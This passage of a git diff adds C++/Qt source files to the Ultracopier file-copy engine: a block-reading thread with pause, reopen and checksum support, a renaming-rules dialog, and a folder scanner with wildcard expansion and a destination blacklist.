+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read put in pause"));
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt == true, then quit"));
+ isInReadLoop=false;
+ internalClose();
+ return;
+ }
+ pauseMutex.acquire();
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt == true, then quit"));
+ isInReadLoop=false;
+ internalClose();
+ return;
+ }
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Read;
+ #endif
+ blockArray=file.read(blockSize);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ if(file.error()!=QFile::NoError)
+ {
+ errorString_internal=tr("Unable to read the source file: ")+file.errorString()+QStringLiteral(" (")+QString::number(file.error())+QStringLiteral(")");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
+ isInReadLoop=false;
+ emit error();
+ return;
+ }
+ sizeReaden=blockArray.size();
+ if(sizeReaden>0)
+ {
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=WaitWritePipe;
+ #endif
+ if(!writeThread->write(blockArray))//speed limitation here
+ {
+ if(!stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopped because the write is stopped: ")+QString::number(lastGoodPosition));
+ stopIt=true;
+ }
+ }
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt == true, then quit"));
+ isInReadLoop=false;
+ internalClose();//need re-open the destination and then the source
+ return;
+ }
+ lastGoodPosition+=blockArray.size();
+ }
+ /*
+ if(lastGoodPosition>16*1024)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error()));
+ errorString_internal=QStringLiteral("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error());
+ isInReadLoop=false;
+ emit error();
+ return;
+ }
+ */
+ }
+ while(sizeReaden>0 && !stopIt);
+ if(lastGoodPosition>file.size())
+ {
+ errorString_internal=tr("File truncated during the read, possible data change");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
+ isInReadLoop=false;
+ emit error();
+ return;
+ }
+ isInReadLoop=false;
+ if(stopIt)
+ {
+ stopIt=false;
+ return;
+ }
+ emit readIsStopped();//will product by signal connection writeThread->endIsDetected();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop the read"));
+}
+
+void ReadThread::startRead()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ if(tryStartRead)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already in try start"));
+ return;
+ }
+ if(isInReadLoop)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ else
+ {
+ tryStartRead=true;
+ emit internalStartRead();
+ }
+}
+
+void ReadThread::internalCloseSlot()
+{
+ internalClose();
+}
+
+void ReadThread::internalClose(bool callByTheDestructor)
+{
+ /// \note never send signal here, because it's called by the destructor
+ //ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ bool closeTheFile=false;
+ if(!fakeMode)
+ {
+ if(file.isOpen())
+ {
+ closeTheFile=true;
+ file.close();
+ isInReadLoop=false;
+ }
+ }
+ if(!callByTheDestructor)
+ emit closed();
+
+ /// \note always the last of this function
+ if(closeTheFile)
+ isOpen.release();
+}
+
+/** \brief set block size
+\param block the new block size in B
+\return Return true if succes */
+bool ReadThread::setBlockSize(const int blockSize)
+{
+ //can be smaller than min block size to do correct speed limitation
+ if(blockSize>1 && blockSize<ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE*1024)
+ {
+ this->blockSize=blockSize;
+ //set the new max speed because the timer have changed
+ return true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("block size out of range: ")+QString::number(blockSize));
+ return false;
+ }
+}
+
+#ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+/*! \brief Set the max speed
+\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
+void ReadThread::setMultiForBigSpeed(const int &multiForBigSpeed)
+{
+ this->multiForBigSpeed=multiForBigSpeed;
+ waitNewClockForSpeed.release();
+}
+
+/// \brief For give timer every X ms
+void ReadThread::timeOfTheBlockCopyFinished()
+{
+ /* this is the old way to limit the speed, it product blocking
+ *if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
+ waitNewClockForSpeed.release();*/
+
+ //try this new way:
+ /* only if speed limited, else will accumulate waitNewClockForSpeed
+ * Disabled because: Stop call of this method when no speed limit
+ if(this->maxSpeed>0)*/
+ if(waitNewClockForSpeed.available()<=1)
+ waitNewClockForSpeed.release();
+}
+#endif
+
+/// \brief do the fake open
+void ReadThread::fakeOpen()
+{
+ fakeMode=true;
+ emit opened();
+}
+
+/// \brief do the fake writeIsStarted
+void ReadThread::fakeReadIsStarted()
+{
+ emit readIsStarted();
+}
+
+/// \brief do the fake writeIsStopped
+void ReadThread::fakeReadIsStopped()
+{
+ emit readIsStopped();
+}
+
+/// do the checksum
+void ReadThread::startCheckSum()
+{
+ emit internalStartChecksum();
+}
+
+qint64 ReadThread::getLastGoodPosition() const
+{
+ /*if(lastGoodPosition>file.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] Bug, the lastGoodPosition is greater than the file size!"));
+ return file.size();
+ }
+ else*/
+ return lastGoodPosition;
+}
+
+//reopen after an error
+void ReadThread::reopen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ if(isInReadLoop)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try reopen where read is not finish"));
+ return;
+ }
+ stopIt=true;
+ emit internalStartReopen();
+}
+
+bool ReadThread::internalReopen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ stopIt=false;
+ if(file.isOpen())
+ {
+ file.close();
+ isOpen.release();
+ }
+ if(size_at_open!=file.size() && mtime_at_open!=QFileInfo(file).lastModified())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] source file have changed since the last open, restart all"));
+ //fix this function like the close function
+ if(internalOpen(true))
+ {
+ emit resumeAfterErrorByRestartAll();
+ return true;
+ }
+ else
+ return false;
+ }
+ else
+ {
+ //fix this function like the close function
+ if(internalOpen(false))
+ {
+ emit resumeAfterErrorByRestartAtTheLastPosition();
+ return true;
+ }
+ else
+ return false;
+ }
+}
+
+//set the write thread
+void ReadThread::setWriteThread(WriteThread * writeThread)
+{
+ this->writeThread=writeThread;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG
+//to set the id
+void ReadThread::setId(int id)
+{
+ this->id=id;
+}
+#endif
+
+void ReadThread::seekToZeroAndWait()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ stopIt=true;
+ seekToZero=true;
+ emit checkIfIsWait();
+}
+
+void ReadThread::isInWait()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ if(seekToZero)
+ {
+ stopIt=false;
+ seekToZero=false;
+ if(file.isOpen())
+ {
+ lastGoodPosition=0;
+ seek(0);
+ }
+ else
+ internalOpen(true);
+ emit isSeekToZeroAndWait();
+ }
+}
+
+bool ReadThread::isReading() const
+{
+ return isInReadLoop;
+}
+
diff --git a/plugins/CopyEngine/Ultracopier/ReadThread.h b/plugins/CopyEngine/Ultracopier/ReadThread.h
new file mode 100644
index 0000000..f00ae79
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ReadThread.h
@@ -0,0 +1,147 @@
+/** \file ReadThread.h
+\brief Thread changed to open/close and read the source file
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef READTHREAD_H
+#define READTHREAD_H
+
+#include <QThread>
+#include <QByteArray>
+#include <QSemaphore>
+#include <QDateTime>
+#include <QFileInfo>
+#include <QCryptographicHash>
+
+#include "WriteThread.h"
+#include "Environment.h"
+#include "StructEnumDefinition_CopyEngine.h"
+#include "AvancedQFile.h"
+
+/// \brief Thread changed to open/close and read the source file
+class ReadThread : public QThread
+{
+ Q_OBJECT
+public:
+ explicit ReadThread();
+ ~ReadThread();
+protected:
+ void run();
+public:
+ /// \brief open with the name and copy mode
+ void open(const QFileInfo &file, const Ultracopier::CopyMode &mode);
+ /// \brief return the error string
+ QString errorString() const;
+ //QByteArray read(qint64 position,qint64 maxSize);
+ /// \brief stop the copy
+ void stop();
+ /// \brief put the copy in pause
+ void pause();
+ /// \brief resume the copy
+ void resume();
+ /// \brief get the size of the source file
+ qint64 size() const;
+ /// \brief get the last good position
+ qint64 getLastGoodPosition() const;
+ /// \brief start the reading of the source file
+ void startRead();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ /// \brief set the current max speed in KB/s
+ void setMultiForBigSpeed(const int &multiForBigSpeed);
+ #endif
+ /// \brief set block size in KB
+ bool setBlockSize(const int blockSize);
+ /// \brief reopen after an error
+ void reopen();
+ /// \brief set the write thread
+ void setWriteThread(WriteThread * writeThread);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief to set the id
+ void setId(int id);
+ /// \brief stat
+ enum ReadStat
+ {
+ Idle=0,
+ InodeOperation=1,
+ Read=2,
+ WaitWritePipe=3,
+ Checksum=4
+ };
+ ReadStat stat;
+ #endif
+ /// \brief return if it's reading
+ bool isReading() const;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ /// \brief executed at regular interval to do a speed throling
+ void timeOfTheBlockCopyFinished();
+ #endif
+ /// \brief do the fake open
+ void fakeOpen();
+ /// \brief do the fake readIsStarted
+ void fakeReadIsStarted();
+ /// \brief do the fake readIsStopped
+ void fakeReadIsStopped();
+ /// do the checksum
+ void startCheckSum();
+public slots:
+ /// \brief to reset the copy, and put at the same state when it just open
+ void seekToZeroAndWait();
+ void postOperation();
+ /// do the checksum
+ void checkSum();
+signals:
+ void error() const;
+ void opened() const;
+ void readIsStarted() const;
+ void readIsStopped() const;
+ void closed() const;
+ void isSeekToZeroAndWait() const;
+ void checkIfIsWait() const;
+ void resumeAfterErrorByRestartAll() const;
+ void resumeAfterErrorByRestartAtTheLastPosition() const;
+ void checksumFinish(const QByteArray&) const;
+ // internal signals
+ void internalStartOpen() const;
+ void internalStartChecksum() const;
+ void internalStartReopen() const;
+ void internalStartRead() const;
+ void internalStartClose() const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,QString fonction,QString text,QString file,int ligne) const;
+
+private:
+ QString errorString_internal;
+ AvancedQFile file;
+ volatile bool stopIt;
+ Ultracopier::CopyMode mode;
+ qint64 lastGoodPosition;
+ volatile int blockSize;//in Bytes
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ QSemaphore waitNewClockForSpeed;
+ volatile int numberOfBlockCopied; ///< Multiple for count the number of block copied
+ volatile int multiForBigSpeed; ///< Multiple for count the number of block needed
+ #endif
+ WriteThread* writeThread;
+ int id;
+ QSemaphore isOpen;
+ QSemaphore pauseMutex;
+ volatile bool putInPause;
+ volatile bool isInReadLoop;
+ volatile bool seekToZero;
+ volatile bool tryStartRead;
+ qint64 size_at_open;
+ QDateTime mtime_at_open;
+ bool fakeMode;
+ //internal function
+ bool seek(const qint64 &position);/// \todo search if is use full
+private slots:
+ bool internalOpen(bool resetLastGoodPosition=true);
+ bool internalOpenSlot();
+ bool internalReopen();
+ void internalRead();
+ void internalClose(bool callByTheDestructor=false);
+ void internalCloseSlot();
+ void isInWait();
+};
+
+#endif // READTHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier/RenamingRules.cpp b/plugins/CopyEngine/Ultracopier/RenamingRules.cpp
new file mode 100644
index 0000000..848d7fb
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/RenamingRules.cpp
@@ -0,0 +1,85 @@
+#include "RenamingRules.h"
+#include "ui_RenamingRules.h"
+
+#include <QMessageBox>
+
+RenamingRules::RenamingRules(QWidget *parent) :
+ QDialog(parent),
+ ui(new Ui::RenamingRules)
+{
+ ui->setupUi(this);
+ connectUI();
+ setRenamingRules(QStringLiteral(""),QStringLiteral(""));
+}
+
+RenamingRules::~RenamingRules()
+{
+ delete ui;
+}
+
+void RenamingRules::on_buttonBox_clicked(QAbstractButton *button)
+{
+ if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
+ reject();
+ if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::ResetRole)
+ {
+ setRenamingRules(QStringLiteral(""),QStringLiteral(""));
+ emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+ }
+}
+
+void RenamingRules::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
+{
+ disconnectUI();
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ if(!firstRenamingRule.isEmpty())
+ ui->firstRenamingRule->setText(firstRenamingRule);
+ else
+ ui->firstRenamingRule->setText(tr("%1 - copy").arg(QStringLiteral("%name%")));
+ if(!otherRenamingRule.isEmpty())
+ ui->otherRenamingRule->setText(otherRenamingRule);
+ else
+ ui->otherRenamingRule->setText(tr("%1 - copy (%2)").arg(QStringLiteral("%name%")).arg(QStringLiteral("%number%")));
+ connectUI();
+}
+
+void RenamingRules::connectUI()
+{
+ connect(ui->firstRenamingRule,&QLineEdit::editingFinished,this,&RenamingRules::firstRenamingRule_haveChanged);
+ connect(ui->otherRenamingRule,&QLineEdit::editingFinished,this,&RenamingRules::otherRenamingRule_haveChanged);
+}
+
+void RenamingRules::disconnectUI()
+{
+ disconnect(ui->firstRenamingRule,&QLineEdit::editingFinished,this,&RenamingRules::firstRenamingRule_haveChanged);
+ disconnect(ui->otherRenamingRule,&QLineEdit::editingFinished,this,&RenamingRules::otherRenamingRule_haveChanged);
+}
+
+void RenamingRules::firstRenamingRule_haveChanged()
+{
+ QString newValue=ui->firstRenamingRule->text();
+ if(newValue==tr("%1 - copy").arg(QStringLiteral("%name%")))
+ newValue=QStringLiteral("");
+ if(newValue==firstRenamingRule)
+ return;
+ firstRenamingRule=newValue;
+ emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+void RenamingRules::otherRenamingRule_haveChanged()
+{
+ QString newValue=ui->otherRenamingRule->text();
+ if(newValue==tr("%1 - copy (%2)").arg(QStringLiteral("%name%")).arg(QStringLiteral("%number%")))
+ newValue=QStringLiteral("");
+ if(newValue==otherRenamingRule)
+ return;
+ otherRenamingRule=newValue;
+ emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+void RenamingRules::newLanguageLoaded()
+{
+ ui->retranslateUi(this);
+ setRenamingRules(firstRenamingRule,otherRenamingRule);
+}
diff --git a/plugins/CopyEngine/Ultracopier/RenamingRules.h b/plugins/CopyEngine/Ultracopier/RenamingRules.h
new file mode 100644
index 0000000..c802cef
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/RenamingRules.h
@@ -0,0 +1,34 @@
+#ifndef RENAMINGRULES_H
+#define RENAMINGRULES_H
+
+#include <QDialog>
+#include <QAbstractButton>
+
+namespace Ui {
+class RenamingRules;
+}
+
+/** Define rules for renaming */
+class RenamingRules : public QDialog
+{
+ Q_OBJECT
+public:
+ explicit RenamingRules(QWidget *parent = 0);
+ ~RenamingRules();
+ void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+ void newLanguageLoaded();
+private:
+ Ui::RenamingRules *ui;
+ void connectUI();
+ void disconnectUI();
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+private slots:
+ void on_buttonBox_clicked(QAbstractButton *button);
+ void firstRenamingRule_haveChanged();
+ void otherRenamingRule_haveChanged();
+signals:
+ void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule) const;
+};
+
+#endif // RENAMINGRULES_H
diff --git a/plugins-alternative/CopyEngine/Rsync/RenamingRules.ui b/plugins/CopyEngine/Ultracopier/RenamingRules.ui
index 9e84f4b..9e84f4b 100644
--- a/plugins-alternative/CopyEngine/Rsync/RenamingRules.ui
+++ b/plugins/CopyEngine/Ultracopier/RenamingRules.ui
diff --git a/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.cpp b/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.cpp
new file mode 100644
index 0000000..9c35050
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.cpp
@@ -0,0 +1,677 @@
+#include "ScanFileOrFolder.h"
+#include "TransferThread.h"
+#include <QtGlobal>
+#include <QDateTime>
+
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+#endif
+
+QString ScanFileOrFolder::text_slash=QLatin1Literal("/");
+QString ScanFileOrFolder::text_antislash=QLatin1Literal("\\");
+QString ScanFileOrFolder::text_dot=QLatin1Literal(".");
+
+ScanFileOrFolder::ScanFileOrFolder(const Ultracopier::CopyMode &mode)
+{
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ rsync = false;
+ #endif
+ moveTheWholeFolder = true;
+ stopped = true;
+ stopIt = false;
+ this->mode = mode;
+ folder_isolation = QRegularExpression(QStringLiteral("^(.*/)?([^/]+)/$"));
+ setObjectName(QStringLiteral("ScanFileOrFolder"));
+ #ifdef Q_OS_WIN32
+ QString userName;
+ DWORD size=255;
+ WCHAR * userNameW=new WCHAR[size];
+ if(GetUserNameW(userNameW,&size))
+ {
+ userName=QString::fromWCharArray(userNameW,size-1);
+ blackList << QFileInfo(QStringLiteral("C:/Users/%1/AppData/Roaming/").arg(userName)).absoluteFilePath();
+ }
+ delete userNameW;
+ #endif
+}
+
+ScanFileOrFolder::~ScanFileOrFolder()
+{
+ stop();
+ quit();
+ wait();
+}
+
+bool ScanFileOrFolder::isFinished() const
+{
+ return stopped;
+}
+
+void ScanFileOrFolder::addToList(const QStringList& sources,const QString& destination)
+{
+ stopIt=false;
+ this->sources=parseWildcardSources(sources);
+ this->destination=destination;
+ QFileInfo destinationInfo(this->destination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("check symblink: %1").arg(destinationInfo.absoluteFilePath()));
+ while(destinationInfo.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("resolv destination to: %1").arg(destinationInfo.symLinkTarget()));
+ if(QFileInfo(destinationInfo.symLinkTarget()).isAbsolute())
+ this->destination=destinationInfo.symLinkTarget();
+ else
+ this->destination=destinationInfo.absolutePath()+text_slash+destinationInfo.symLinkTarget();
+ destinationInfo.setFile(this->destination);
+ }
+ if(sources.size()>1 || QFileInfo(destination).isDir())
+ /* Disabled because the separator transformation product bug
+ * if(!destination.endsWith(QDir::separator()))
+ this->destination+=QDir::separator();*/
+ if(!destination.endsWith(text_slash) && !destination.endsWith(text_antislash))
+ this->destination+=text_slash;//put unix separator because it's transformed into that's under windows too
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"addToList("+sources.join(";")+","+this->destination+")");
+}
+
+
+QStringList ScanFileOrFolder::parseWildcardSources(const QStringList &sources) const
+{
+ QRegularExpression splitFolder(QStringLiteral("[/\\\\]"));
+ QStringList returnList;
+ int index=0;
+ while(index<sources.size())
+ {
+ if(sources.at(index).contains(QStringLiteral("*")))
+ {
+ QStringList toParse=sources.at(index).split(splitFolder);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("before wildcard parse: %1, toParse: %2, is valid: %3").arg(sources.at(index)).arg(toParse.join(", ")).arg(splitFolder.isValid()));
+ QList<QStringList> recomposedSource;
+ recomposedSource << (QStringList() << QStringLiteral(""));
+ while(toParse.size()>0)
+ {
+ if(toParse.first().contains('*'))
+ {
+ QString toParseFirst=toParse.first();
+ if(toParseFirst.isEmpty())
+ toParseFirst=text_slash;
+ QList<QStringList> newRecomposedSource;
+ QRegularExpression toResolv=QRegularExpression(toParseFirst.replace('*',QStringLiteral("[^/\\\\]*")));
+ int index_recomposedSource=0;
+ while(index_recomposedSource<recomposedSource.size())//parse each url part
+ {
+ QFileInfo info(recomposedSource.at(index_recomposedSource).join(text_slash));
+ if(info.isDir() && !info.isSymLink())
+ {
+ QDir folder(info.absoluteFilePath());
+ QFileInfoList fileFile=folder.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System);//QStringList() << toResolv
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("list the folder: %1, with the wildcard: %2").arg(info.absoluteFilePath()).arg(toResolv.pattern()));
+ int index_fileList=0;
+ while(index_fileList<fileFile.size())
+ {
+ if(fileFile.at(index_fileList).fileName().contains(toResolv))
+ {
+ QStringList tempList=recomposedSource.at(index_recomposedSource);
+ tempList << fileFile.at(index_fileList).fileName();
+ newRecomposedSource << tempList;
+ }
+ index_fileList++;
+ }
+ }
+ index_recomposedSource++;
+ }
+ recomposedSource=newRecomposedSource;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("add toParse: %1").arg(toParse.join(text_slash)));
+ int index_recomposedSource=0;
+ while(index_recomposedSource<recomposedSource.size())
+ {
+ recomposedSource[index_recomposedSource] << toParse.first();
+ if(!QFileInfo(recomposedSource.at(index_recomposedSource).join(text_slash)).exists())
+ recomposedSource.removeAt(index_recomposedSource);
+ else
+ index_recomposedSource++;
+ }
+ }
+ toParse.removeFirst();
+ }
+ int index_recomposedSource=0;
+ while(index_recomposedSource<recomposedSource.size())
+ {
+ returnList<<recomposedSource.at(index_recomposedSource).join(text_slash);
+ index_recomposedSource++;
+ }
+ }
+ else
+ returnList << sources.at(index);
+ index++;
+ }
+ return returnList;
+}
+
+void ScanFileOrFolder::setFilters(const QList<Filters_rules> &include, const QList<Filters_rules> &exclude)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QMutexLocker lock(&filtersMutex);
+ this->include_send=include;
+ this->exclude_send=exclude;
+ reloadTheNewFilters=true;
+ haveFilters=include_send.size()>0 || exclude_send.size()>0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("haveFilters: %1, include_send.size(): %2, exclude_send.size(): %3").arg(haveFilters).arg(include_send.size()).arg(exclude_send.size()));
+}
+
+//set action if Folder are same or exists
+void ScanFileOrFolder::setFolderExistsAction(const FolderExistsAction &action, const QString &newName)
+{
+ this->newName=newName;
+ folderExistsAction=action;
+ waitOneAction.release();
+}
+
+//set action if error
+void ScanFileOrFolder::setFolderErrorAction(const FileErrorAction &action)
+{
+ fileErrorAction=action;
+ waitOneAction.release();
+}
+
+void ScanFileOrFolder::stop()
+{
+ stopIt=true;
+ waitOneAction.release();
+}
+
+void ScanFileOrFolder::run()
+{
+ stopped=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start the listing with destination: "+destination+", mode: "+QString::number(mode));
+ destination=resolvDestination(destination).absoluteFilePath();
+ if(stopIt)
+ {
+ stopped=true;
+ return;
+ }
+ if(fileErrorAction==FileError_Skip)
+ {
+ stopped=true;
+ return;
+ }
+ int sourceIndex=0;
+ while(sourceIndex<sources.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"size source to list: "+QString::number(sourceIndex)+text_slash+QString::number(sources.size()));
+ if(stopIt)
+ {
+ stopped=true;
+ return;
+ }
+ QFileInfo source=sources.at(sourceIndex);
+ if(source.isDir() && !source.isSymLink())
+ {
+ /* Bad way; when you copy c:\source\folder into d:\destination, you wait it create the folder d:\destination\folder
+ //listFolder(source.absoluteFilePath()+QDir::separator(),destination);
+ listFolder(source.absoluteFilePath()+text_slash,destination);//put unix separator because it's transformed into that's under windows too
+ */
+ //put unix separator because it's transformed into that's under windows too
+ QString tempString=QFileInfo(destination).absoluteFilePath();
+ if(!tempString.endsWith(text_slash) && !tempString.endsWith(text_antislash))
+ tempString+=text_slash;
+ tempString+=TransferThread::resolvedName(source);
+ if(moveTheWholeFolder && mode==Ultracopier::Move && !QFileInfo(tempString).exists() && driveManagement.isSameDrive(source.absoluteFilePath(),tempString))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("tempString: %1 move and not exists").arg(tempString));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("do real move: %1 to %2").arg(source.absoluteFilePath()).arg(tempString));
+ emit addToRealMove(source.absoluteFilePath(),tempString);
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("tempString: %1 normal listing, blacklist size: %2").arg(tempString).arg(blackList.size()));
+ listFolder(source.absoluteFilePath(),tempString);
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1 is file or symblink").arg(source.absoluteFilePath()));
+ emit fileTransfer(source,destination+text_slash+source.fileName(),mode);
+ }
+ sourceIndex++;
+ }
+ stopped=true;
+ if(stopIt)
+ return;
+ emit finishedTheListing();
+}
+
+QFileInfo ScanFileOrFolder::resolvDestination(const QFileInfo &destination)
+{
+ QFileInfo newDestination=destination;
+ while(newDestination.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("resolv destination to: %1").arg(newDestination.symLinkTarget()));
+ if(QFileInfo(newDestination.symLinkTarget()).isAbsolute())
+ newDestination.setFile(newDestination.symLinkTarget());
+ else
+ newDestination.setFile(newDestination.absolutePath()+text_slash+newDestination.symLinkTarget());
+ }
+ do
+ {
+ fileErrorAction=FileError_NotSet;
+ if(isBlackListed(destination))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("isBlackListed: %1").arg(destination.absoluteFilePath()));
+ emit errorOnFolder(destination,tr("Blacklisted folder"),ErrorType_Folder);
+ waitOneAction.acquire();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"actionNum: "+QString::number(fileErrorAction));
+ }
+ } while(fileErrorAction==FileError_Retry || fileErrorAction==FileError_PutToEndOfTheList);
+ return newDestination;
+}
+
+bool ScanFileOrFolder::isBlackListed(const QFileInfo &destination)
+{
+ int index=0;
+ int size=blackList.size();
+ while(index<size)
+ {
+ if(destination.absoluteFilePath().startsWith(blackList.at(index)))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("%1 start with: %2").arg(destination.absoluteFilePath()).arg(blackList.at(index)));
+ return true;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("%1 not start with: %2").arg(destination.absoluteFilePath()).arg(blackList.at(index)));
+ index++;
+ }
+ return false;
+}
+
+void ScanFileOrFolder::listFolder(QFileInfo source,QFileInfo destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1 (%2), destination: %3 (%4)").arg(source.absoluteFilePath()).arg(source.isSymLink()).arg(destination.absoluteFilePath()).arg(destination.isSymLink()));
+ if(stopIt)
+ return;
+ destination=resolvDestination(destination);
+ if(stopIt)
+ return;
+ if(fileErrorAction==FileError_Skip)
+ return;
+ //if is same
+ if(source.absoluteFilePath()==destination.absoluteFilePath())
+ {
+ emit folderAlreadyExists(source,destination,true);
+ waitOneAction.acquire();
+ QString destinationSuffixPath;
